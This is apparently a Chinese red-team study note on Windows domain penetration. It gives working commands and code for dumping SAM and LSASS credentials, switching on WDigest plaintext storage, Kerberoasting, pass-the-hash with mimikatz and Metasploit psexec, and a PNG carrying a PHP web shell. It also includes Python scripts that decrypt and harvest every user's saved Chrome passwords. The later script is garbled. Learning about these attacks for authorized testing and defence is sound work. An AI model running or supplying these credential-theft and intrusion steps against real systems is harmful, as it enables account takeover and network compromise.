资讯详情

Notes Twenty one days-渗透攻击-红队-权限提升

**

Notes Twenty one days-渗透攻击-红队-权力提升(dayu)

**

作者: 时间:2020-10-7

请注意:这些终端或服务器在所有笔记中复制,都是自己构建的环境。我会用的Kali Linux作为这项研究的攻击者机器。这里使用的技术只用于学习和教育的目的。如果列出的技术用于任何其他目标,我将不负责。

我必须再次重申:不要做未经授权的测试!本书中描述的攻击不得未经授权复制。即使出于好奇而不是恶意,你仍然会因为未经授权的测试而遇到很多麻烦。为了个人能更好的继续学习发展,有很多漏洞奖励计划和靶场可以供你学习试验,但是请记住,即使是参加漏洞奖励计划,私自测试范围外的网站或对网站进行深入破坏也会让你有大麻烦。

文章目录

  • Notes Twenty one days-渗透攻击-红队-权力提升(dayu)
  • 五、收集内部信息
    • 5.1 本地信息收集
    • 5.1.1 在域环境中使用普通权限域账户获取所有域DNS解析记录
    • 5.1.2 令牌Token和会话Session原理与攻略
    • 5.1.3 内存转储-获取本地hash
    • 5.1.4 哈希值转入储域账户
    • 5.1.5 SPN发现与利用(dayu-Fourteenth day)
    • 5.1.6 哈希传递攻击利用
    • 5.2 用户习惯
    • 5.2.1 第一季从目标文件中收集信息
    • 5.2.2 谷歌浏览器密码获取当前系统中所有用户
    • 5.2.3 adsutil.vbs 获取密码(dayu-Fifteenth Day)
    • 5.2.4 保存解密目标机rdp凭证
    • 5.2.5 Hashcat 神器详解
    • 5.2.6 解密Winscp和SecureCRT保存在客户端的密码hash
    • Winscp
    • SecureCRT
    • 附上脚本
    • 5.2.7 破解Weblogic配置文件中的数据库密码
    • 5.2.8 获取域控/系统日志
    • dumpel
    • wevtutil
    • psloglist
    • 5.3 收集网络信息
    • 5.3.1 发现目标WEB敏感程序目录
    • 5.3.2 基于SCF收集目标内网信息
    • 5.3.3 内网漏洞快速检测技巧
    • 5.3.4 域环境信息收集
    • 5.3.4.1 Active Directory Domain Services - 获取域控信息
    • 5.3.4.2 Windows区域渗透-用户密码枚举
    • 5.3.4.3 不同环境下域dns记录信息收集方法
    • 5.3.4.4 impacket获取框架域信息(dayu-Sixteenth Day)
    • Secretsdump
    • Esentutl
    • Ticket
    • lookupsid.py
    • 5.3.4.5 域信息收集user2sid,sid2user
    • 5.4 收集工作组的环境信息
    • 5.4.1 基于MSF发现内网存活主机(1)
    • 5.4.2 基于MSF发现内网存活主机(2)
    • 5.4.3 基于MSF发现内网存活主机(3)
    • 5.4.4 基于MSF发现内网存活主机(4)
    • 5.4.5 基于MSF发现内网存活主机(5)
    • 5.4.6 基于MSF发现内网存活主机(6)
    • 5.4.7 基于sqlDataSourceEnumerator发现内网存活主机
    • 5.4.8 基于ICMP发现内网存活主机(dayu-Seventeenth Day)
    • 5.4.9 基于UDP发现内网存活主机
    • 5.4.10 基于ARP发现内网存活主机
    • 5.4.11 基于snmp发现内网存活主机
    • 5.4.12 基于netbios发现内网存活主机
    • 5.5 powershell一个接一个地扫描内网(dayu-Eighteenth Day)
    • 5.6 内网信息收集内网代理
  • 六、权限提升
    • 6.1 提高操作系统的权利
    • 6.1.1 Linux
    • 6.1.1.1 Linux提权-依赖exp
    • 6.1.1.2 Sudo漏洞分析 (CVE-2019-14287)
    • 6.1.1.3 Linux提权内核提权
    • 6.1.2 Windows
    • 6.1.2.1 windows提权-快速搜索exp
    • 6.1.2.2 Token窃取与利用
    • 6.1.2.3 CVE2019-1388 Windows UAC 提权漏洞
    • 6.1.3 第三方组件提权
  • 七、维护权限
    • 7.1 操作系统后门
    • 7.1.1 Linux
    • Linux操作系统后门
    • SSH后门
    • SSH Trapper后门
    • Rookit
    • 7.1.2 Windows
    • 7.1.2.1 长期控制对抗权限—伪造无效签名(dayu-Nineteenth Day)
    • 7.1.2.2 常见windows持久控制总结
    • 7.1.2.3 Windows RID劫持
    • 7.1.2.4 Shfit图像劫持后门新玩法
    • 7.1.2.4 windows权限维持-注册表维权
    • 7.1.2.5 windows维权2-计划任务维权
    • 7.1.2.6 windows 维持3-服务的权限service维权
    • 7.2 后门的第三方组件
    • 7.2.1 APT红蓝对抗(1)后门对抗
    • 7.2.2 APT对抗(2)红蓝对抗关于后门对抗
    • 7.2.3 APT对抗(三)红蓝对抗关于后门对抗
    • 7.2.4 APT红蓝对抗(4)后门对抗
    • 7.2.5 dll劫持(dayu-Twentieth Day)
    • 7.2.6 APT对抗-红蓝对抗关于后门对抗~七)
    • 7.2.7 ATT&CK攻防初窥系列-横向移动
    • 7.2.8 Linux权限维持之LD_PRELOAD
    • 7.2.9 Linux权限维持之进程注入
    • 7.2.10 Windows权限维持之Office启动
  • 八、内网渗透基础
    • 8.1 Kerberos协议
    • 8.1.1 Windows认证原理之Kerberos篇
    • 8.2 NTLM
    • 8.2.1 NTLM协议及Hash抓取
    • 8.2.2 Windows认证原理之NTLM篇(dayu-Twenty one days)
    • 8.3 内网命令行渗透笔记
    • 8.4 内网渗透中的文件传输
    • 8.5 msfvenom常用生成payload命令
    • 8.6 windows环境压缩文件&文件夹命令集合
    • 8.7 Windows net 命令集使用
    • 8.8 Cobaltstrike与Metasploit实战联动
    • 8.9 复制工具常用于渗透
  • 九、红队自研-APT模拟攻击方案
    • 9.1 研发免杀方案
    • 9.1.1 实战免杀诺顿Shellcode内存免杀
    • 9.1.2 每个人都能杀软
    • 9.1.3 远程控制木马极速免杀3605引擎
    • 9.1.4 基于Ruby内存加载 shellcode第一季
    • 9.1.5 dll加载shellcode免杀上线


五、内部信息收集

5.1 本地信息搜集

5.1.1 用普通权限的域帐户获得域环境中所有DNS解析记录

在讲解本文之前,先介绍一下域账户和DNS的几个基本概念。

域账户是域是网络对象的分组。例如:用户、组和计算机。域中所有的对象都存储在 Active Directory (AD)下。Active Directory 可以常驻在某个域中的一个或多个域控制器下。

DNS( Domain Name System)是“域名系统”的英文缩写,是一种组织成域层次结构的计算机和网络服务命名系统,它用于TCP/IP网络,它所提供的服务是用来将服务器名和域名转换为IP地址的工作,DNS就是这样的一位“翻译官”。

网络通讯大部分是基于TCP/IP的,而TCP/IP是基于IP地址的,所以计算机在网络上进行通讯时只能识别如“202.96.134.133”之类的IP地址,而不能认识域名。我们无法记住10个以上IP地址的网站,所以我们访问网站时,更多的是在浏览器地址栏中输入域名,就能看到所需要的页面,这是因为有一个叫“DNS服务器”的计算机自动把我们的域名“翻译”成了相应的IP地址,然后调出IP地址所对应的网页。

DNS域传送漏洞是黑客常用的一种漏洞攻击手段,黑客可以用该漏洞快速的判定出某个特定zone的所有服务器,收集域信息,选择攻击目标,找出未使用的IP地址,黑客可以绕过基于网络的访问控制。

DNS域传送(DNS zone transfer)指的是一台备用服务器使用来自主服务器的数据刷新自己的域(zone)数据库。

DNS服务器分为:主服务器、备份服务器和缓存服务器。在主服务器和备份服务器之间同步数据库,需要使用“DNS域传送”。域传送是指后备服务器从主服务器拷贝数据,并用得到的数据更新自身数据库。

一般来说,DNS域传送操作只在网络里真的有备用域名DNS服务器时才有必要用到,但许多DNS服务器却被错误地配置成只要有client发出请求,就会向对方提供一个zone数据库的详细信息,所以说允许不受信任的网络用户执行DNS域传送(zone transfer)操作是后果最为严重的错误配置之一。

综上所述,要实现域传送漏洞,就需要一个不安全配置的DNS服务器,然后网络上的任何用户都可以获取所有传送记录并收集有关网络中服务器的信息。然而,目前还很少有人知道,如果使用Active Directory集成DNS,任何用户都可以默认查询所有DNS记录。

本文,我会给你介绍了一个默认查询所有DNS记录的工具–Adidnsdump ,即使你是一个没有读取传送记录权限的用户,也可以使用以下方法获得域环境中的所有DNS解析记录。

就我个人而言,每当我接手一个新的渗透测试任务时,我都会想法设法了解测试环境的网络布局,测试对象使用的软件以及有趣数据的位置。如果测试对象有非描述性服务器名称或描述,像BloodHound或ldapdomaindump这样的工具不会有太大帮助,因为SRV00001.company.local仍然没有告诉你在这台服务器上运行的是什么。在大量IP地址上运行EyeWitness等发现工具通常会返回大量默认的Apache / IIS页面,因为大多数站点都配置为侦听DNS名称而不是IP地址。此时你如果知道DNS记录,可能就会发现SRV00001.company.local和gitlab.company.local指向同一个IP,这个IP上可能存放着大量源码。

因此,我认为访问AD的DNS记录非常有价值。为此我编写了一个可以转储这些DNS记录的Adidnsdump。你既可以直接在网络中的主机运行它,也可以通过SOCKS隧道利用。

该工具的设计思路,是在我研究Active Directory DNS时开始的,主要受到Kevin Robertson在ADIDNS 上工作的启发。当我作为普通用户提取了ADSI Edit并突然看到了域中所有DNS记录时,我试图找出AD如何在LDAP中使用域来存储DNS记录。令我惊讶的是,早在2013年,就有人开发出可以提取DNS记录的PowerShell脚本,但它并没有完全符合我的要求,所以我决定用Python编写一个版本,并添加一些选项来枚举比默认情况下更多的记录。

在LDAP中查询DNS记录的主要方法是选择dnsNode类的所有对象,然后执行查询操作,此时,你会看到DNS域中的所有记录。当我使用filter (objectClass=dnsNode)执行查询时,返回的结果非常有限。即使我手动浏览DNS域,都可以获取更多的记录。 在这里插入图片描述 如上图所示,很多记录的objectClass都处于隐藏状态,我想是因为计算机DNS记录的默认权限所导致的。这让我联想到了,不是通过活动目录DNS页面创建的其他记录,也是不会允许所有用户查看其内容的。再加上IP地址实际作为这些对象的属性来存储,因此无法查看这些记录中的IP地址。

但是,默认情况下,任何用户都可以创建新的DNS记录,任何用户也可以默认列出DNS域的子对象。至此,我们就知道DNS解析记录藏在哪儿了,只是无法使用LDAP查询它们而已。 通过使用LDAP枚举知道记录所在的位置之后,我们就可以直接使用DNS查询它,因为执行常规DNS查询不需要什么特别权限,这样我们就可以解析域中的所有记录。

点此GitHub,下载adidnsdump,它可以枚举DNS域中的所有解析记录。首先,使用参数–print-zones显示当前域中的所有区域。注意,并非所有的区域都有实际意义,例如转发(forward )、缓存和存根域并不包含该域的所有记录。如果找到这些域,最好查询它们实际所属的域。在我构建的测试域中,使用参数–print-zones只会输出默认域。 如果我们为adidnsdump指定域或者将默认域设置为空,我们将获得一个包含所有解析记录的列表。可以列出但不能读取的记录(即上述所谓的“隐藏”DNS记录)只会显示一个问号,因为不知道其中会存在哪种类型的记录以及它们指向何处。另外,这些记录会全部被保存到名为records.csv的文件中。 要解析这些未知记录,可使用参数-r,该标志将对所有未知记录执行A查询(如果你在IPv6网络中,则可以在代码中轻松将其更改为AAAA),之前的?都会显示出具体的记录内容。 如果你没有直接连接但通过代理工作,则可以通过socks代理该工具,并使用–dns-tcp标志通过TCP执行DNS查询。

为了安全起见,我建议你首先要对DNS记录的安全性持有客观的认知态度。如果你确实要隐藏DNS记录,就请删除“Everyone”和“Pre-Windows 2000 Compatible Access”的“列出内容”权限,以阻止普通用户查询DNS记录。但这可能会产生负面影响,所以我不建议那样做。

所以最好的办法是及时检测DNS查询活动的出现,通过监控大量DNS查询或启用对DNS区域列表的审计可能是一种更好的缓解措施。

adidnsdump可以通过GitHub 和PyPI(pip install adidnsdump)安装使用,现在,该工具仅将获取的记录转储到CSV文件。不过,你可以自己把文件转换为其他格式。

参考文章:

https://beta.4hou.com/web/17955.html  --原文

https://nosec.org/home/detail/2527.html

5.1.2 令牌Token和会话Session原理与攻略

https://www.cnblogs.com/huangsheng/p/10736796.html

5.1.3 内存转储-获取本地hash

Windows的对每个用户生成密码的hash值,数据存储在注册表的HKLMSAM中。密钥存储在HKLMSYSTEM中。

1、读取HKLMSYSTEM中的syskey

syskey由目录

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa下JD、Skew1、GBG和Data等键值中的内容拼接而成

int CRYPT_SyskeyGetValue(s_SYSKEY *pSyskey) {

    DWORD dwSecureBoot=0;

    BYTE syskey[16];

    BYTE syskeyPerm[16]={0x8,0x5,0x4,0x2,0xb,0x9,0xd,0x3,0x0,0x6,0x1,0xc,0xe,0xa,0xf,0x7};

    int i;



    if(!RegGetValueEx(HKEY_LOCAL_MACHINE,”SYSTEM\CurrentControlSet\Control\Lsa”,”SecureBoot”,NULL,&dwSecureBoot,sizeof(dwSecureBoot),NULL))

        return SYSKEY_REGISTRY_ERROR;



    if(dwSecureBoot != 1)

        return SYSKEY_METHOD_NOT_IMPL;



    if(!SyskeyGetClassBytes(HKEY_LOCAL_MACHINE,”SYSTEM\CurrentControlSet\Control\Lsa”,”JD”,syskey))

        return SYSKEY_REGISTRY_ERROR;



    if(!SyskeyGetClassBytes(HKEY_LOCAL_MACHINE,”SYSTEM\CurrentControlSet\Control\Lsa”,”Skew1″,syskey+4))

        return SYSKEY_REGISTRY_ERROR;



    if(!SyskeyGetClassBytes(HKEY_LOCAL_MACHINE,”SYSTEM\CurrentControlSet\Control\Lsa”,”GBG”,syskey+8))

        return SYSKEY_REGISTRY_ERROR;



    if(!SyskeyGetClassBytes(HKEY_LOCAL_MACHINE,”SYSTEM\CurrentControlSet\Control\Lsa”,”Data”,syskey+12))

        return SYSKEY_REGISTRY_ERROR;



    for(i=0;i<16;i++)

        pSyskey->key[i] = syskey[syskeyPerm[i]];



    return SYSKEY_SUCCESS;

2、使用syskey解密HKLMSAM

获得

HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers

中每个用户的F和V的键值内容,使用syskey进行解密

1、导出数据库

方法一(注册表):

reg save HKLMSYSTEM c:usersuserdesktopSYSTEM

reg save HKLMSAM c:usersuserdesktopSAM

方法二(复制文件):

存放路径

C:WindowsSystem32configSYSTEM

C:WindowsSystem32configSAM

因为正常内存中可能无法被打开

2、使用mimikatz导出用户hash

lsadump::sam /sam:sam /system:system

根据目标相应位数传入mimi,管理员权限启动mimikatz

privilege::debug

token::elevate

lsadump::sam

作用:

微软维护工具,主要使用它来进行内存转储。Windows在运行的时候不能复制SYSTEM和SAM文件。

该方法只能在Window 2003、Windows 2008、Windows 2008 R2,且没有打补丁(KB2871997)的情况下可以获取该系统在未清理内存(意为未重启)时存储的登录信息凭证。

Windows 2012及以上版本需要开启注册表记录明文密码,方可转储。

方法:

HKLM:SYSTEMCurrentControlSetControlSecurityProvidersWDigest的”UseLogonCredential”设置为1,型为DWORD 32�

cmd修改:

reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1

powershell修改:

PS C:> New-ItemProperty -Path HKLM:SYSTEMCurrentControlSetControlSecurityProvidersWDigest -Name UseLogonCredential -Type DWORD -Value 1

procdump语法:

procdump.exe -accepteula -ma lsass.exe c:windowstapia.dmp

语法:

privilege:debug     # 设置权限

sekurlsa::minidump lsass.dmp    # 选择要读出的内存文件

sekurlsa:logonpasswords  # 获取密码

其实获取本地hash还有很多工具可以利用,这边分享的是比较通用的方法

参考文章:

http://www.secwk.com/2019/09/08/6372/

5.1.4 转储域账户哈希值

https://scarletf.github.io/2019/09/03/域渗透-导出域用户Hash方法/

https://xz.aliyun.com/t/2527   ---如何Dump域内的Hash

https://cloud.tencent.com/developer/article/1165439   --导出域内用户hash的几种方法

这几种方法,结合下思想 然后书中的两个续集思路…


5.1.5 SPN发现与利用(dayu-Fourteenth day)

服务主体名称(SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联。如果在整个林中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定的服务实例可以具有多个SPN。通过SPN,可快速定位开启了关键服务的机器,这样就不需要去扫对应服务的端口,有效规避端口扫描动作

服务类和FQDN是必需参数,端口和服务名是可选的。

setspn是系统自带的查找和设置spn的命令

1、列出注册的spn 参数接受计算机名或者用户名。

2、配置spn 3、在指定的域或林上查询SPN

Find-PSServiceAccounts Get-SPN2 GetUserSPNs.py

支持非域内机器扫描查找

知道相关服务的SPN后,可以用SPN申请一张票据 ST,如果Kerberos 协议设置票据为 RC4加密,则可通过爆破的方式得到服务对应用户的密码。 首先,申请票据,在powershell上。

Add-Type -AssemblyName System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/mssql.cate4cafe.com:1433"

使用klist查看票据申请是否成功。接着可使用mimikatz导出票据,再通过hashcat爆破即可。或者使用。

Invoke-Kerberoast.ps1导出转换成 John the Ripper 或者 HashCat 能够直接爆破的字符串。

在我们取得了 SPN 的修改权限后,可以为指定的域用户添加一个 SPN,这样可以随时获得该域用户的 TGS ,经过破解后获得明文口令,可以作为一个后门使用

https://sec.thief.one/article_content?a_id=594539e5b195b5fc38051bf7fb438524   --详细文章
https://rcoil.me/2019/06/【域渗透】SPN%20扫描利用/

https://www.freebuf.com/articles/system/174229.html   --老文章  SPN服务主体名称发现详解

想要继续了解的可以查看这两篇文章,巩固下


5.1.6 哈希传递攻击利用

有一点内网渗透经验的都应该听说过哈希传递攻击,通过找到相应账户相关的密码散列值(LM Hash,NTLM Hash)来进行未授权登陆。

可参考Wikipedia的介绍,地址如下:https://en.wikipedia.org/wiki/Pass_the_hash 在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登陆内网中的其他计算机。

在Windows系统中,通常会使用NTLM身份认证,NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser) 从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash.在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,Mimikatz 就读不到密码明文。此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。修改注册表命令为:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

因此,攻击者如果使用工具将散列值传递到其他计算机中,进行权限验证,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程),实现对计算机的控制

hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。 在Windows中,密码Hash目前称之为NTLM Hash,其中NTLM全称是:“NT LAN Manager”。这个NTLM是一种网络认证协议,与NTLM Hash的关系就是:NTLM网络认证协议是以NTLM Hash作为根本凭证进行认证的协议。也就是说,NTLM与NTLM Hash相互对应。在本地认证的过程中,其实就是将用户输入的密码转换为NTLM Hash与SAM中的NTLM Hash进行比较

注:

mimikatz支持导出内存中用户的LM hash,但前提是Windows系统支持LM hash Windows Server 2008启用LM hash的方法: gpedit.msc->计算机配置->Windows 设置->安全设置->本地策略->安全选项 找到网络安全︰ 不要在下次更改密码存储 LAN 管理器的哈希值,选择已禁用 系统下一次更改密码后,就能够导出LM hash(已经被弃用了)

首先就是神器mimikatz,但你首先得拥有本地管理员的执行的权限

privilege::debug
sekurlsa::logonpasswords

复制NTLM Hash的值

sekurlsa::pth /user:administrator /domain:XIAN.COM /ntlm:7365e3b22baeaebc0411873eedf84390

完成之后会弹出cmd.exe,或者重新开一个命令行 也可以尝试列出被哈希传递攻击的域内靶机的c盘内容

在msf中也内置有mimikatz,以下命令都可以在msf中获取hash

hashdump
run hashdump
run post/windows/gather/smart_hashdump
除了meterpreter自带的,还可以通过加载mimikatz获得:
load mimikatz(必须,否则无以下命令)
msv    获取的是hash值
tspkg   tspkg凭证相关的模块
wdigest   读取内存中存放的账号密码明文信息
kerberos  kerberos相关的模块
ssp   获取的是明文信息

mimikatz的原生命令在这里有些改动 mimikatz_command 模块可以让我们使用mimikatz的全部功能

meterpreter > mimikatz_command -f a::  输入一个错误的模块,可以列出所有模块
meterpreter > mimikatz_command -f samdump::  可以列出samdump的子命令
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f handle::list  列出应用进程
meterpreter > mimikatz_command -f service::list  列出服务

例如

mimikatz_command -f samdump::hashes   获取hash

建议每种都试一下,可能因为windows版本的高低,有些情况一种命令获取不到,比如我的win2003就只能用hashdump命令才能看到密码hash

kiwi就是msf内置的mimikatz模块的升级版 但是kiwi是默认加载32位系统的,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后用migrate命令将meterpreter进程迁移到一个64位程序的进程中,才能加载mimikatz并且查看系统明文。如果目标系统是32位的,则没有这个限制。 使用前先在meterpreter下加载kiwi模块

使用命令creds_kerberos列举所有kerberos凭据 可以看到我之前用msf内置的mimikatz没有加载出来的密码,现在明文加载出来了。 再来将用户hash密码加载出来kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令 可以看到成功列出用户密码hash kiwi模块命令集合

creds_all: 列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync: 通过DCSync检索用户帐户信息
dcsync_ntlm: 通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list: 列出当前用户的wifi配置文件
wifi_list_shared: 列出共享wifi配置文件/编码

PsExec是sysinternals套件中的一款强大的软件,通过他可以提权和执行远程命令,对于批量大范围的远程运维能起到很好的效果,尤其是在域环境下。但现在,攻击者渐渐开始使用psexec,通过命令行环境与目标靶机进行连接,甚至控制目标机器,而不需要通过远程连接协议(RDP)进行图形化设置,降低了因为恶意操作被管理员发现的可能性(因为PsExec是Windows提供的工具,所以杀毒软件可能会将其列入白名单) msf中有3个psexec模块都可以进行Hash传递利用:

#执行单个命令的PTH模块
auxiliary/admin/smb/psexec_command

# 执行直接就获取到meterpreter的PTH模块
exploit/windows/smb/psexec

# 支持对一个网段进行PTH进行验证的模块
exploit/windows/smb/psexec_psh

再使用pesxec模块之前要保证:

开启445端口 SMB服务 开启admin$共享 使用之前板块获取到的管理员NTLM Hash Administrator:500:aad3b435b51404eeaad3b435b51404ee:7365e3b22baeaebc0411873eedf84390这里前半部分的LM Hash不重要,只要保证后半部分的NTML Hash正确就行

msf5 exploit(multi/handler) > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set lhost 192.168.5.128
lhost => 192.168.5.128
msf5 exploit(windows/smb/psexec) > set rhost 192.168.5.11
rhost => 192.168.5.11
msf5 exploit(windows/smb/psexec) > set smbuser Administrator
smbuser => Administrator
msf5 exploit(windows/smb/psexec) > set smbpass a780a2793038e0d41e929ffc01395127:7365e3b22baeaebc0411873eedf84390 
smbpass => a780a2793038e0d41e929ffc01395127:7365e3b22baeaebc0411873eedf84390
msf5 exploit(windows/smb/psexec) > run

这里还有很多不错的获取hash方法没写(主要是懒,用msf方便),比如PowerShell、WCE、AES-256密钥哈希传递、python第三方库impacket下的secretsdump等等,以后有空再记录吧…

KB2871997补丁的影响

防范首先想到打补丁,微软也早在2014年5月发布了KB2871997补丁,该补丁禁止通过本地管理员权限与远程计算机进行连接,其后果就是:无法通过本地管理员权限对远程计算机使用Psexec、WMI、smbecec等,也无法访问远程的文件共享等。 但实际上就算打了KB2871997补丁后,Administrator账号(SID为500)也是例外的,使用该账户的NTLM Hash依然可以进行哈希传递

防御mimikatz攻击

mimikatz在抓取散列值或明文密码时,需要用到Debug权限(因为mimikatz需要和lsass进程进行交互,如果没有Debug权限,mimikatz将不能读取lsass进程里的密码)。而Debug权限归本地管理员Administrator所有,目的是确定哪些用户可以将调试器附加到任何进程或内核中,但一般Administrator不会用到这个权限(除非是系统进程)。

所以在配置用户权限时,可以将拥有Debug权限的本地管理员从Administrator组中移除。重启系统之后,在运行mimikatz,在第一步"privilege::debug"时就会报错了

参考文献:

http://saucer-man.com/information_security/443.html#cl-11
https://saucer-man.com/information_security/79.html#cl-13
https://www.freebuf.com/articles/system/217681.html
https://blog.csdn.net/qq_36119192/article/details/104802921
https://www.cnblogs.com/Mikasa-Ackerman/p/hou-shen-tou-zhong-de-mi-ma-zhua-qu.html

哈希传递-远程登录,这里书上还介绍了: 后期尝试下…


5.2 用户习惯

5.2.1 从目标文件中做信息搜集第一季

个人实例: ExifTool可读写及处理图像、视频及音频,例如Exif、IPTC、XMP、JFIF、GeoTIFF、ICC Profile。包括许多相机的制造商信息读取,如佳能,卡西欧,大疆,FLIR,三星等

root@kali:/home/dayu/桌面/dayuMagic# exiftool -lang zh-cn -a -u -g1 ./sample.php.png 
---- ExifTool ----
ExifTool 版本                   : 11.99
---- System ----
文件名                          : sample.php.png
文件存储位置                    : .
文件大小                        : 2.2 kB
更新日期                        : 2020:08:26 08:42:26+08:00
File Access Date/Time           : 2020:08:26 08:49:11+08:00
File Inode Change Date/Time     : 2020:08:26 08:48:46+08:00
File Permissions                : rw-r--r--
---- File ----
文件格式                        : PNG
File Type Extension             : png
MIME Type                       : image/png
---- PNG ----
像宽                            : 200
像高                            : 150
Bit Depth                       : 8
Color Type                      : RGB
压缩方案                        : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
文件改变的日期和时间            : 2019:09:05 13:29:11
注释                            : <?php system($_REQUEST[cmd]); ?>
---- PNG-pHYs ----
Pixels Per Unit X               : 2835
Pixels Per Unit Y               : 2835
Pixel Units                     : meters
---- Composite ----
图像尺寸                        : 200x150
Megapixels                      : 0.030

在大型内网渗透中,尤其是针对办公机的渗透,需要熟知目标集体或者个人的作息时间,工作时间,文档时间,咖啡时间,或者需要从某些文件中获取对方的真实拍摄地坐标等。那么无疑需要快速的从大量文件中筛选信息诉求。当目标越复杂,文件中的信息搜集就更为重要。如文档作者,技术文章作者,财务文档作者等,熟知在大量人员,获取对方职务,大大减少渗透过程中的无用性,重复性,可见性。与暴露性。而作为公司,应该熟悉相关文档的内置属性,尤其是在共享文件服务器上,删除或者复写敏感信息来降低企业安全风险。

本篇意旨企业安全在处理本公司相关敏感文件以及重要文件应做好更多的防范,尤其是重要部门,如研发,财务等。


5.2.2 获取当前系统所有用户的谷歌浏览器密码

1、DPAPI:

全称Data Protection Application Programming Interface

Windows系统的一个数据保护接口

主要用于保护加密的数据,常见的应用如:

Internet Explorer,Google Chrome中的密码和表单
存储无线连接密码
远程桌面连接密码
Outlook,Windows Mail,Windows Mail等中的电子邮件帐户密码
内部FTP管理员帐户密码
共享文件夹和资源访问密码
Windows Credential Manager
Skype
Windows CardSpace
Windows Vault
EFS文件加密

2.、DPAPI blob:

一段密文,可使用Master Key对其解密

3.、Master Key:

64字节,用于解密DPAPI blob,使用用户登录密码、SID和16字节随机数加密后保存在Master Key file中

4.、Master Key file:

a. 二进制文件,可使用用户登录密码对其解密,获得Master Key

b. 分为两种:

用户Master Key file,位于%APPDATA%\Microsoft\Protect\%SID%   存储用户的登陆密码
系统Master Key file,位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User   存储wifi等各种密码

c. 固定位置:

%APPDATA%\Microsoft\Protect%SID%,该目录下往往有多个Master Key file,这是为了安全起见,系统每隔90天会自动生成一个新的Master Key(旧的不会删除)

5、 Preferred文件: 位于Master Key file的同级目录,显示当前系统正在使用的MasterKey及其过期时间,默认90天有效期

# 在线获取当前用户google浏览器下保存的密码
import os, sys
import shutil
import sqlite3
import win32crypt

db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data')
print(db_file_path)

# tmp_file = os.path.join(os.path.dirname(sys.executable), 'tmp_tmp_tmp')
tmp_file = './loginData'
print(tmp_file)
if os.path.exists(tmp_file):
    os.remove(tmp_file)
shutil.copyfile(db_file_path, tmp_file)

conn = sqlite3.connect(tmp_file)
for row in conn.execute('select signon_realm,username_value,password_value from logins'):
    try:
        ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)
        print('url:%-50s username:%-20s password:%s' % (row[0], row[1], ret[1].decode('gbk')))
    except Exception as e:
        print('url:%-50s get Chrome password Filed...' % row[0])
        pass
conn.close()
os.remove(tmp_file)

使用工具Windows Password Recovery

解密需要获得三部分内容:

加密密钥(即Master Key file),位于%appdata%\Microsoft\Protect下对应sid文件夹下的文件 数据库文件Login Data 用户明文的密码,用于解密加密密钥 环境模拟: 环境:一台windows10机器,里面装有谷歌浏览器,用户有administrator和test等等其他用户

目的:当我们拿到shell后,当前用户是administrator,我们想要获取test等其他用户在当前系统保存的谷歌浏览器密码。

前提条件:需要知道test账户的明文密码,可以通过导注册表方法获取test的明文密码

工具:py编译后的exe工具

filepack.exe执行后会获取 1. 所有用户谷歌浏览器的Login Data文件 2. 获取所有用户的master key file 3. 获取所有用户的rdp保存凭证(该文件用来破解RDP,此处无用)

如下图是filepack.exe执行的结果,会在当前目录生成三个压缩文件 goole.zip是所有用户谷歌浏览器的Login Data压缩包 protect.zip是所有用户的master key file压缩包 rdp.zip是所有用户的rdp保存凭证压缩包

import os import shutil import sqlite3 import win32crypt

users_dir = os.environ[‘userprofile’].rsplit(’’, 1)[0] # 获取users目录的路径

def searchlogindata(path, name): for root, dirs, files in os.walk(path): if name in files: root = str(root) logindatapath = root + ‘’ + name return logindatapath

def logindata(): print(’-’ * 50 + ‘\n’ + r’[2] Get all users Google login data files:’) name = ‘Login Data’ for username in os.listdir(usersdir): Googledir = usersdir + ‘’ + username + r’\AppData\Local\Google’ logindatapath = searchlogindata(Googledir, name) if logindatapath: try: os.makedirs(’./google’) except Exception as e: pass dst = ‘./google/{}logindata’.format(username) shutil.copyfile(logindatapath, dst) print('copy [{}] '.format(logindatapath)) logindatapath = ‘’

if os.path.isdir('google'):
    shutil.make_archive("./google", 'zip', root_dir='./google')
    print('[+] success! google.zip save to {}\pgoogle.zip'.format(os.getcwd()))
    shutil.rmtree('./google')

获取所有用户的master key file

